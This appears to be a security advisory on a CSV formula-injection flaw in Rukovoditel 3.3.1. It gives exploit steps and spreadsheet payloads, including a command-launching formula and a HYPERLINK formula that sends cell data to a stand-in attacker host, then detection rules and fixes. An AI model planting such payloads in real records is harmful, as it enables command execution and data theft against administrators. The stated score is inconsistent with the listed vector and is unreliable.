CVE-2023-53913

Executive Summary

CVE-2023-53913 is a CSV Injection vulnerability (CWE-1236) in Rukovoditel 3.3.1, a project management application. An authenticated attacker can inject malicious formulas (e.g., =calc|a!z|) into the firstname field. When an administrator exports customer data as a CSV file, the injected formula is executed by spreadsheet applications (e.g., Microsoft Excel, LibreOffice Calc), potentially leading to remote code execution or data exfiltration. The vulnerability has a CVSS v3.1 base score of 7.5 (High) due to the requirement for user interaction (admin export) and low privileges. No official patch is available, and exploitation is publicly documented.

Supply Chain & Package Security

This vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in a standalone PHP application. No supply chain implications are identified.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – authenticated user
• User Interaction: Required (UI:R) – admin must export CSV
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: High. Exploitation requires low privileges and user interaction, but the impact is severe (RCE/data exfiltration). EPSS score is 0.0% (low exploitation likelihood), but public PoC exists.

Deep Dive & Mechanics

The vulnerability resides in the CSV export functionality of Rukovoditel 3.3.1. The application does not sanitize user input in the firstname field before including it in a CSV export. When an admin exports customer data, the malicious payload is written directly into the CSV file. Spreadsheet applications interpret cells starting with = as formulas. The payload =calc|a!z| triggers the CALC application (LibreOffice Calc) to execute arbitrary commands via the | pipe syntax. In Microsoft Excel, similar payloads like =cmd|' /C calc'!A0 can execute commands.

Attack Flow:

1. Attacker logs in as an authenticated user.
2. Attacker updates their profile or creates a customer record with a malicious firstname (e.g., =calc|a!z|).
3. Admin exports customer data as CSV.
4. Admin opens the CSV in a spreadsheet application.
5. The formula executes, potentially running arbitrary commands (e.g., launching calculator, exfiltrating data).

Vulnerable vs. Patched Code

Vulnerable Code (Rukovoditel 3.3.1): The CSV export function directly writes user input without sanitization. Example (pseudocode):

// vulnerable export function
function exportCSV($data) {
    $csv = "";
    foreach ($data as $row) {
        $csv .= $row['firstname'] . "," . $row['lastname'] . "\n";
    }
    file_put_contents('export.csv', $csv);
}

Patched Code (Hypothetical): Input should be sanitized to prevent formula injection. For example, prepend a single quote or space to cells starting with =, +, -, @:

function sanitizeCSV($value) {
    if (preg_match('/^[=+\-@]/', $value)) {
        return "'" . $value;
    }
    return $value;
}
function exportCSV($data) {
    $csv = "";
    foreach ($data as $row) {
        $csv .= sanitizeCSV($row['firstname']) . "," . sanitizeCSV($row['lastname']) . "\n";
    }
    file_put_contents('export.csv', $csv);
}

No official patch is available from the vendor.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Authenticated user account on Rukovoditel 3.3.1
• Admin user who exports customer data as CSV

Exploit Steps:

1. Log in to Rukovoditel as an authenticated user.
2. Navigate to profile or customer creation page.
3. Set firstname to: =calc|a!z|
4. Save the record.
5. Wait for admin to export customer data as CSV.
6. When admin opens the CSV in LibreOffice Calc, the formula executes, launching the calculator application.

Alternative Payloads:

• For Excel: =cmd|' /C calc'!A0
• For data exfiltration: =HYPERLINK("http://attacker.com/?data="&A1,"Click")

No Exploit-DB code provided.

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual firstname values containing =, +, -, @ characters.
• Alert on CSV export events followed by suspicious process execution (e.g., calc.exe, cmd.exe).
• Use endpoint detection rules for spreadsheet applications launching unexpected child processes.

Prevention:

• Sanitize all user input before CSV export (prepend ' to formula-like strings).
• Educate admins to open CSV files in text editors or use "Text Import" mode in spreadsheets.
• Disable DDE (Dynamic Data Exchange) in Excel via Group Policy.
• Use a web application firewall (WAF) to block payloads containing =cmd| or =calc|.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains from spreadsheet applications.
• File: CSV files containing cells starting with =, +, -, @ (e.g., =calc|a!z|).
• Process: Spreadsheet application (e.g., soffice.bin, excel.exe) spawning cmd.exe, calc.exe, or powershell.exe.
• Registry (Windows): Changes to DDE settings (e.g., HKCU\Software\Microsoft\Office\16.0\Excel\Security\DDESecurity).

Detection Engineering

YARA Rule

rule CVE_2023_53913_CSV_Injection {
    meta:
        description = "Detects CSV injection payloads in Rukovoditel exports"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-53913"
    strings:
        $payload1 = "=calc|" ascii wide
        $payload2 = "=cmd|" ascii wide
        $payload3 = "=HYPERLINK(" ascii wide
        $payload4 = "=DDE(" ascii wide
    condition:
        any of them
}

Sigma Rule

title: CSV Injection Payload in Rukovoditel Export
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects CSV files containing formula injection patterns from Rukovoditel
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-53913
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename|endswith: '.csv'
        TargetFilename|contains: 'export'
    keywords:
        - '=calc|'
        - '=cmd|'
        - '=HYPERLINK('
        - '=DDE('
    condition: selection and keywords
falsepositives:
    - Legitimate use of formulas in CSV (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-53913 CSV Injection Payload Exfiltration"; flow:to_server,established; content:"=HYPERLINK("; nocase; http_client_body; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Sanitize Input: Modify the CSV export function to prepend a single quote (') to any cell starting with =, +, -, or @.
2. User Education: Train admins to open CSV files in text editors or use "Text Import" mode in Excel (Data > From Text/CSV).
3. Disable DDE: In Excel, disable DDE via File > Options > Advanced > General > "Ignore other applications that use Dynamic Data Exchange (DDE)".
4. WAF Rules: Deploy WAF rules to block HTTP requests containing =cmd|, =calc|, or =HYPERLINK( in form fields.

Long-Term Fix:

• Upgrade to a patched version of Rukovoditel (if available). Currently, no patch exists; consider migrating to an alternative project management tool.

Workaround:

• Restrict CSV export functionality to trusted admins only.
• Implement a proxy that sanitizes CSV files before delivery.

Valters IT signature: This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.